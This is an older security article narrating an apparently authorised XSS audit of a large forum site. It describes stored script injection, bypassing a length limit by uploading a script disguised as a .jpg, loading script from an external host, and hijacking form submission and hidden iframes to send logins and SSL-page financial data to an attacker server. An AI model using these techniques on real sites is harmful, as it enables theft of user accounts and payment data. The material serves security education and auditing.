Real World XSS
Author: David Zimmer <firstname.lastname@example.org>
Article Downloads: small_xss_utilities.zip
- About the Article Downloads
- Impacts (Attack Scenario)
- Impact Summary
Section 2 - Methods of Injection, and filtering
- Injection Points
- Injection methods and filtering
- XSS scripting tips and tricks
Section 3 - Inside the mind, mental walk along of a XSS hack
Section 4 - Conclusion
Inside the mind, mental walk along of a XSS hack
In this section I am going to document some of actual scenarios I have found in
the wild and what could be done with them. In essence these are some of the experiences
that made this paper possible. All of the holes I am going to document here were in
a large forum / community type sight that shall remain anonymous. All of these tests
were done legitimately with the blessing of the sites owner and were matters of testing
as I conducted a security audit on his site. Every tester knows how monotonous churning
through page source and repetitive tests can be, so I took it upon myself to play and
experiment and see what I couldnít squeeze out of some of these seemingly innocuous holes
and tried to gauge the real impact of these forms of attack.
Before we get started with the details I will describe the web sight a little more. The
site in question was a large forum type site. Users could login, browse other users
articles and submissions as well as leave messages to each other on numerous messageboards. Each user
also had an account modification section where they could update their stats as well as
manage their submissions to the site.
The main site consisted of a template with search engine functionality as well as a ticker
of the most recent articles submitted by users. This is a relatively large
site with anywhere from 3-10 thousand users online at any given time.
As the audit progressed I soon found that by going to the user management interface I could
embed img src scripts and other html in the author name field. Reflecting back on the
layout of the site I knew that this would allow me to execute scripts on anyone who visited
one of my submissions. I also knew that this would execute anytime my name turned up as a
result from the site search functionality.
Now the gears start churning, hummm what can I do with this? Since I am the curious
type (and mabey a touch mischievous) I decided it would be a worthy cause to play with
the hole and try to gauge the actual impact. The first thing I wanted to determine is
how popular of a cat I am ;) (Or in more professional terms, how often my pages were
being viewed and the scope of the injection vector)
Since I could insert img tags this much could have easily been done just by inserting
an img src=http://myip and then watching server logs, but since this is a cross sight
scripting paper, and that is to boring, I decided to play with some other techniques.
Just for fun I though it would be cool to try to get use the img tag to try to inject
lots of semicolons and specially designed strings and functions as in the above example,
but that is alot of work. Wouldnít it be nicer to just be able to inject a whole script
file and not have to worry about complex messy embedded commands? Of course it would.
So how do we get a hapless image tag to do this, and moreover how do we do it so that
unsuspecting web surfers donít notice a thing. Having the site we are auditing all
of a sudden get wacked by a bunch of kids who notice the hole because we were playing
with it would just be not good. So we will just have to be a little sly and a little
handler, but it will also leave that ugly little broken image placeholder in the document.
Sure those raise little suspicion and are common place, but I still see it as evidence.
So with this in mind we will img src a 1x1 pixel transparent gif image that will load
seamlessly and be undetectable to browsers. Loading a successful image raises the onload
event handler, here is where we can put our payload with a url such as this.
img src='http://valid address/clear.gif'
Examining the above code you will see that instead of trying to embed some long
script on the web page to be my script. This makes the browser (IE6 anyway others
untested) load my script and execute it. My EVIL script in this case was just a
one liner, a simple
document.write('some innocous text')
In this way I get to play a little, I get to see who loads a page with my name on it
and I coat it over so that they never know the difference. The text contained in the
document.write code appears right inline in the page next to where ever the img src
I set up my smallserver to dish out the script file (a small web server package I made
especially for playing with xss holes that logs directly to screen and is included
in the support file zip.)
With the above in motion I went back to the site, logged in and changed my name to
include the injection script, from the sight stats atop the page it appears that there
were some 3000 potential victims.. err test subjects.. afoot.
I submit the data and then quickly hop to one of my articles to make sure all is
working as planned. Sure enough up pops a request on my servers screen and there
is my innocuous inline text. So far so good, now the waiting game has begun as I
anxiously and nervously await the results.
Wait, wait, wait, hit !
This is just like fishing :)
Slowly request after request rolls in, I casually wade through the data I am collecting
with a giggle noting the browser people are using, where about in the world they are
from, and what search topics they had requested that had turned up my name. After about
5 minutes of data trolling I decided I had indulged my curiosity enough and was ready to
move on. 5min collection yielded 20 hits, which doesnít sound like a lot given that there
are 3k plus people online, but it should also be noted that I only had 8 articles on
the site out of hundreds of thousands. Had I been a little more daring I probably
should have expanded the test a little to do some simple script tests to see what
percentage of the user base I hit had been actually logged into the sight at the time.
But that is borderline unethical so.
With that experience under my belt I got to thinking, given enough time and less morals
I could have collected all kinds of stats on users, stolen account info, email addresses
etc. (yes full login information and email addresses were held in the cookies of logged
in users on this site)
Since morals being what they are, I instead shifted my attention to a bigger hack. I wasnít
satisfied that I could slowly trickle in info..I wanted INFO and I knew that it was out
there 3k users online...humm how can I impact them all?
In the days to follow further examination of the sight revealed that in one of the asp
interfaces I could inject scripts into the article name pane but it had to be done in
45 characters or less.
Again examining the layout of the sight to gauge the impact I found that as in the above
example it would hit users who returned me as a result of a search. However this time if
it was a new article submission that still appeared in the ticker my code would be output
to every single user on the site at once and be on every single page they visited!
My heart thumped as my head swam in ideas of the things I could do. I could track users
across pages, I could correlate email addresses to viewing preferences and topic searches.
I could literally build a profile of the surfer and even do it in a personal way.
What marketing firm wouldnít love those kinds of stats? A more malicious individual could
also take other routes such as account theft, redirect surfers to other sights etc..
but since we have already covered the dangers and why you should be wary of XSS we wont
dive into that again.
Ok, so if I can inject a script in 45 chars or less, thousands of users info will be
at my fingertips. hummm.
<script src='http://geocities.com/dzzie/x.js'></script> = 55 characters
Nosing around the sight some more, I remembered that it had upload functionality for
both user documents, zips, and author images. User documents were always inserted
into the sites template so werenít usable for this. the Zip files were scanned and
opened to make sure they didnít contain any virii. This left us with an author image
upload. Luckily after upload the 'picture' was just given a server defined name
and stored to disk without being validated or resized as an image. Perfect :)
So I create my evilscript file and rename it somthing.jpg. I goto my user manager
and upload it as my author info for my bios. Then I goto my bios page and snag the
url and name the server gave my file
Just to double check it was still valid I fired up WebSleuth and made a raw http
request for the resource. Sure enough it spit out my script file and no extra data.
going to craft my injection string I try on the fit of my new url
<script src="images/778237.jpg"></script> = 41 characters
Cool, I can just sneak in the script with room to spare.
Just to be thorough I go back and edit one of my old submissions with a simple safe
script. Sure enough IE loads the script without a complaint of the extension and we
are in business.
Soda in hand, interface pages bookmarked I set out for some more stat taking. I knew
the test was going to work, and I knew the impact, but somehow that little kid in you
just has to pop out and have his moment of fun, just to say you did it.
I submit a new article, I hop to my bookmarked page to edit the article (where the
validation hole was), paste in my injection string and submit.
Now since the script resided on the server, I could not watch user stats roll in
from requests of the script file itself. How then did I collect stats on the users on
Here is another thing worth understanding about cross sight scripting. Data collection
methods. How did I not detail this above. Anyway, my script is executing on all of these
random users machines from locations across the globe. How do I receive the data the
There are alot of ways to collect the data, you can collect it by watching server logs
as we did in the first example.or you can also collect data by forcing the users to submit
data to CGI scripts which neatly break down and process the data. The problem with
both of these techniques though is that it requires some level of commitment on
the attackers part to either reveal his own IP or to reveal one of his web hosting
Of course there are many anonymous ways as well. Submitting data to a rouge CGI mailer
script, forcing the user to post to an anonymous messageboard or guestbook script,
or even using an unsuspecting trojaned user as a data collector. In the end tracking
these types of attacks can be very very tricky if not impossible if done right, but we
arenít going to get into all those possibilities now. For our application we are simply
interested in what browser the users are using and what page they are on. Luckily both
bits of information are standard browser information leaks given out with any request
for a web resource. To keep the test as simple and non-damaging as possible I choose
images to be the url of a cgi script I had running on one of hosted accounts.
Another thing I had to consider in such a stunt was that I couldnít use my own
ip or server for two reasons. thousands of hits would QUICKLY flood my connection
and could quite possible DOS me to the point I couldnít keep up with the cgi data
and I could probably be web wacked for quite a while not allowing me to change back
the data to effectively "turn off" the onslaught.
Why web wack yourself if you don't need to right ;)
So, the script commands in the jpg file were this
My logit.pl script was a script that executed on the server. When it received a
request it would just log the ip, useragent and referrer passed in the HTTP header
to a database and would then output a 302 Document Moved Header which would automatically
redirect the browser to an actual image file. Since every page on the site was served
with the same template I knew the image I would be changing would always be the same, so
I just redirected the url back to that image so they wouldnít see even a broken image icon.
I am so considerate.
Had I been the nosey sort, I could have collected some real data on the surfers and used
url. Had the data been to long to be passed in on a query string, then I could have
a simple form the window, filled in the elements and then posted it off to the server
side script. No need to try to script across domains or worry about domain security models.
Ok changes made, script in place. I would give it about 20 seconds for data collection,
not wanting to wack my hosted site or expose to many people, then I would change it back.
and be off to reap the rewards of my collected data.
As I sat and contemplated, I decided there was no need to carry through to the end goal.
I knew it would work and had proven all the steps to myself before. Not quite content to
just pack up and go, I changed my injection script in the jpg file to a simple
document.write('some simple text for articlename')
Making the changes and watching the ticker scroll my little inconspicuous message
and knowing that it was also scrolling away on 7k other machines across the net
was enough to give me the satisfaction of the moment. I then went back and changed
the article name to the same text I had used in the script and no one was any the
As my moment of victor waned and with it my perma grin of the private joke, I went
back to examining the site. For the sake of brevity (to late now you say?) I am
only going to include 2 more examples of XSS holes I found in this site, both of
which demonstrate techniques and concepts it is good to be aware of.
The next hole I found was a login page. If you were on the site and tried to perform
an action that required authentication as a user, it would redirect you from the page
you requested to the login page passing the referrer page in the querystring. Since
this referrer page was always handled internally it was assumed it was always a safe
value. Not so safe :)
I could inject any script I wanted as its value in the querystring. This example is
what I term event stealing. First, to discuss briefly, is how you could entice users
to the login page. Isnít the URL going to have a long querystring on it or the obvious
<script src=></script> blocks ?
Do you recognize this as script blocks at a glance?
of course a fully encoded section of url is suspicious. So how about mixed encoding
and then viewed in its natural habitat.
It doesnít look so obvious now the url isnít overly long alot of people just click anyway.
If you can put link text as something similar they wonít even think twice. Anyway I digress
lets not worry about user tricking and just assume they are there. Event stealing is when
you replace an even they have setup in a page with your own commands.
For the example of a login page, Sure you can inject a script, but the page contains
no data until they fill it in. So you have to wait. You could use a timer or some bogus
logic but the best way to know when to snag the data is steal the event of form submission.
Actually you could steal the submit button press, which could fail because of validation
routines, or you could just steal the onsubmit event of the form or even the unload
event of the page. If you were to choose the onunload even of the page, you would be
kinda stuck. The page is closing, you donít have time to change an img src and would be
force to open up a new pop up window. This is way to obvious. This leaves us with two approaches
document.forms(0).onsubmit = ourfunction
or you can just steal the whole form submission and make it submit to your own server side
then redirected them back to the proper script and hopefully they wont notice.
The last Example we will dive into is a SSL encrypted page example. SSL and high encryption
just seems to make developers and surfers feel so warm and fuzzy inside. Haha you cant
This is a bit of myth. Sure the data transfers are sound, but if an SSL encrypted
page has a cross sight scripting hole all of that transport layer security is blown
right out of the water!
Same sight, different page. We are in an account management page. It is SSL encrypted
because it contains information on credit accounts and payment options. Since it is
SSL the developer felt safe including plaintext username and password information in
the form. The problem is that the server script took a querystring argument from a
previous page and echoed it directly to the page source with no filtering. Again
we have a 45 character input limit.
Now because the page is SSL encrypted, even if we could slip in a script src= to our
server, the browser would complain that the page contains unsecure items. We donít want
this. We want the surfer to feel warm and fuzzy and we want to hide in our dark alcoves.
The answer to this conundrum is again a script file embedded on the server somehow. Again
the author image upload to the rescue! Yay author Image!
Anyway, glee aside, same trick to execute script, same content length bypass,
same tricks to steal data from the page (this time juicy data though), only difference
is that SSL was there...and it didnít stop us one bit. Since the script was coming from
the same server, no security flag was raised and the script was assumed as secure.
How does that saying go? Bingo was his namo ?
The last trick I want to bring up is the idea of leveraging XSS attacks. In the
above example I had an active attack that could lead to financial information. Since
it was an attack where a user had to click on a click or perform some other action
to request the page with the crafted url there is a chance of being caught in our
evil attempts. That is no fun. So now we ask ourselves, how can we force the user to
perform those actions so they donít realize it is happening? There is a simple answer
to this and it is termed XSS Leveraging. Lets indulge some thought and combine some
of the holes we have found on this site.
I can inject scripts that get stored in the database and output to unsuspecting users.
So I can force users into any action I want. Now lets assume that the cookies didnít
contain all the login information and we couldnít just steal accounts that way. Lets
assume we can just tell from the cookie if they are logged in or not. So, we embed
our script src (another nice thing about using a script src to embed the script
commands from a local server is that you know exactly who got hit and you can change
the script at anytime and donít have to alter the database to change the code or turn
it off). Our next step is top create a simple script. First look at the cookie, if
the user is logged in then we write an iframe to the document with style attributes
to either set it to hidden or to position it off screen. We then navigate this iframe
to the crafted url. As the page navigates IE may pop up its "some items on this page are
secure" or whatever dialogue but people generally feel safer with ssl so they probably
would click ok. Also there are alot of instances where a regular http:// request for
a page that was meant to be only displayed over ssl will work, again I digress.. So
lets say we have our iframe loaded with the prize, now it is a simple matter of grabbing
the form elements we want and then submit the data to our server. Since all of our script
is executing from the same domain we do not have any problems with the cross domain
security model and the prize is ours.